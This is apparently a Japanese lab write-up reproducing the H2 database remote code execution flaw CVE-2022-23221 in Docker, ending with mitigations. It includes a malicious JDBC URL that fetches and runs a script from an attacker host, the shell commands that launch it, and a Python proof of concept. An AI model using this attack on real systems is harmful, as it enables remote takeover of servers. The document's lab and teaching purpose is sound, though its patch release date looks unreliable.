
H2-database-CVE-2022-23221 — Updated!
vulhub/H2-database/CVE-2022-23221
H2 Database RCE (CVE-2022-23221)
1. 概要
-
H2はリレーショナルデータベース管理システムであり、SQLエンジン内でJavaコードを直接コンパイルし実行できる機能を提供する。
-
H2ドライバはJDBC URLをパースしてアプリケーションとデータベース間の接続を確立する。このとき、URLに含まれる設定パラメータを介してデータベースの初期状態や動作を制御できる。
-
問題となるH2 2.1.210以前のバージョンでは、JDBC URLのINITパラメータを介してリモートSQLスクリプトを実行できるという問題がある。攻撃者はこれを悪用して細工されたSQLスクリプトをリモートから注入し、その内部の構文を介してシステムコマンドを実行することで、CVE-2022-23221の脆弱性が引き起こされる。
-
この脆弱性の特徴は以下の通りである。
- 認証不要: JDBC URLを入力できる権限があれば、誰でもこの脆弱性を利用してシステムの制御権を奪取できる。
- サービス開始時に自動実行: 攻撃者が設定ファイルを修正するだけで、H2を使用するサービスが開始する際に自動的にRCE(リモートコード実行)が発生する。
- 隠蔽性: 開発者が攻撃を認識しにくい。
- 広い被害範囲: H2の高速性と軽量性により、H2はさまざまなWebサービスの開発・テスト用に使用されている。設定ファイルを介して、あるいはユーザーの入力を受けてJDBC URLを設定できるすべての環境が、この脆弱性を利用した攻撃の対象となり得るため、影響範囲が大きい。
-
脆弱性の影響範囲
- 影響を受けるバージョン: H2 2.1.210未満
- パッチバージョン: H2 2.1.210以上
2. 脆弱性の条件
- H2 2.1.210以前のバージョンであること。
- JDBC URLに
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/attacker-file.sql'が含まれていること。IGNORE_UNKNOWN_SETTINGS=TRUE,FORBID_CREATION=FALSE-> セキュリティ設定の回避- これらのパラメータがあるとセキュリティ設定が無効化されるため、初期化時にリモートスクリプト実行コマンドがブロックされずにそのまま実行される。
INIT=RUNSCRIPT FROM 'http://attacker-ip/attacker-file.sql'-> アプリケーションとDB接続時に自動実行されるSQLコマンド- INITパラメータの値としてSQLコマンドのRUNSCRIPTと悪意のあるスクリプトのアドレスが含まれている場合、H2はアプリケーションとH2 DBの接続が確立されたときにそのサーバにアクセスしてファイルをダウンロードし実行する。
- ダウンロードしたSQLスクリプト内部に
CREATE ALIASSQL構文が含まれていること。- リモートで実行させるスクリプト内部の
CREATE ALIAS構文は、H2がDB内でスクリプト内のJava関数を実行させるようにし、結果としてRCEが発生する。
- リモートで実行させるスクリプト内部の
3. 環境構成
-
シナリオ
- 脆弱なH2環境を構成し、悪意のあるJDBC URLをH2に入力する。H2はこのURLを適切な検証なしにパースし、attackerサーバからSQLファイルを受け取って実行する。もしh2-vulnerableサーバのログに"EXPLOITED"文字列とともにコマンド
id、whoami、pwdの実行結果が出力されれば、これは脆弱なH2環境が構成され、H2が悪意のあるJDBC URLをパースする過程で外部のattackerサーバからexploit.sqlファイルがリモートでダウンロードされ実行されたことを意味する。
- 脆弱なH2環境を構成し、悪意のあるJDBC URLをH2に入力する。H2はこのURLを適切な検証なしにパースし、attackerサーバからSQLファイルを受け取って実行する。もしh2-vulnerableサーバのログに"EXPLOITED"文字列とともにコマンド
-
環境構成
docker compose up -d
- コマンドを実行すると以下の環境が起動する。
- h2-vulnerable: H2 2.0.206(パッチ前の脆弱バージョン)
- H2 Webコンソール:
http://your-ip:8082 - TCPサーバ:
tcp://your-ip:9092
- H2 Webコンソール:
- attacker: HTTPサーバ
http://your-ip:8000:exploit.sqlファイルを提供
-
環境構成後、http://your-ip:8082 にアクセスするとH2のWebページが表示される。
4. 再現手順
: Webコンソールではセキュリティポリシーが適用されているため、脆弱性の条件となるパラメータがフィルタリングされる可能性があるので、悪意のあるパラメータを含むJDBC URLをCLIを介して直接入力して脆弱性を再現し、その結果を確認する。
[正常リクエスト case]
-
正常JDBC URL: "jdbc:h2:mem:test"
-
正常リクエストコマンド
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \ -url "jdbc:h2:mem:test" \ -user sa \ -password "" -
実行結果

- attackerサーバへのリクエストなし
- h2-vulnerableサーバに特にログは出力されない
[脆弱性攻撃 case]
- 悪意のあるJDBC URL: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
1. 攻撃実行
-
悪意のあるJDBC URLをH2ドライバに入力してattackerサーバとの接続を試みる。このときURLを入力する方法は2つある。
- CLIを介してH2 Shellに悪意のあるJDBC URLを直接入力する。
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \ -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \ -user sa \ -password ""
- PoCファイルを実行する。
python3 poc.py
2. ファイルのリクエストと実行
-
H2はJDBC URLのINITパラメータに指定された
INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'に従ってattackerサーバにexploit.sqlファイルをリクエスト(HTTP GET)し、それをH2データベース内で実行する。docker logs attackerを実行すると、h2-vulnerableサーバからのexploit.sqlファイルリクエストログを確認できる。
docker logs attacker
- attackerサーバはリクエストされたexploit.sqlファイルを返し、h2-vulnerableサーバは受信したexploit.sqlファイルを実行する。このときスクリプト内部のCREATE ALIAS構文がJavaコード実行を誘導することでRCEが発生する。
5. poc.py コード
#!/usr/bin/env python3
# 目的: CVE-2022-23221 H2 Database RCE の状況を再現する。
# 過程: 検証回避パラメータとJavaコマンドを含むJDBC URLをH2に送信し、リモートコード実行攻撃を実行する。
import subprocess
import time
import sys
"""
関数名: exploit_h2()
機能: H2 DBに悪意のあるJDBC URLを渡して攻撃を実行する。
戻り値: True->攻撃成功、False->攻撃失敗
"""
def exploit_h2():
# H2サーバの準備待機
time.sleep(3)
# 検証回避パラメータを含むJDBC URL
# IGNORE_UNKNOWN_SETTINGS=TRUE: H2の入力検証を回避する
# FORBID_CREATION=FALSE: リモートDB作成に対する警告を削除する
# INIT=RUNSCRIPT FROM: 接続(開始)時にリモートSQLスクリプトを実行する
jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
try:
# H2 Shellを介して悪意のあるJDBC URLで接続
cmd = [
'docker', 'exec', 'h2-vulnerable',
'java', '-cp', '/h2-bin/h2.jar',
'org.h2.tools.Shell',
'-url', jdbc_url,
'-user', 'sa',
'-password', ''
]
# Dockerコマンド実行と結果取得
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=15
)
return True
except Exception as e:
print(f"[-] エラー: {e}")
return False
"""
関数名: main()
機能: 攻撃を実行し、攻撃成功/失敗を出力する。
戻り値: なし
"""
def main():
if exploit_h2():
print("[+] 攻撃完了")
else:
print("[-] 攻撃失敗")
sys.exit(1)
if __name__ == "__main__":
main()
6. 実行結果
-
exploit.sqlファイルの実行結果として、h2-vulnerableサーバのログに"EXPLOITED"文字列とともにコマンド
id、whoami、pwdの実行結果が出力される。 -
docker logs h2-vulnerableでログを確認できる。docker logs h2-vulnerable
=> これは脆弱なH2環境が構成され、H2が悪意のあるJDBC URLをパースする過程でファイルのリモートダウンロードと実行が成功したことを意味する。
7. 対応策
- H2 2.1.210以上のバージョンにアップグレード
- パッチ内容: INITパラメータの外部スクリプト実行機能の制限
- リリース日: 2022-05-15
- JDBC URL入力値の検証強化: リモートコード実行を引き起こすINIT、RUNSCRIPTなどのパラメータを含む入力をブロックし、ホワイトリストベースでJDBC URL入力を検証する。
- 設定および環境の整合性監視: 設定ファイルの変更時に改ざんの有無を検証し、管理者の承認を経るようにする。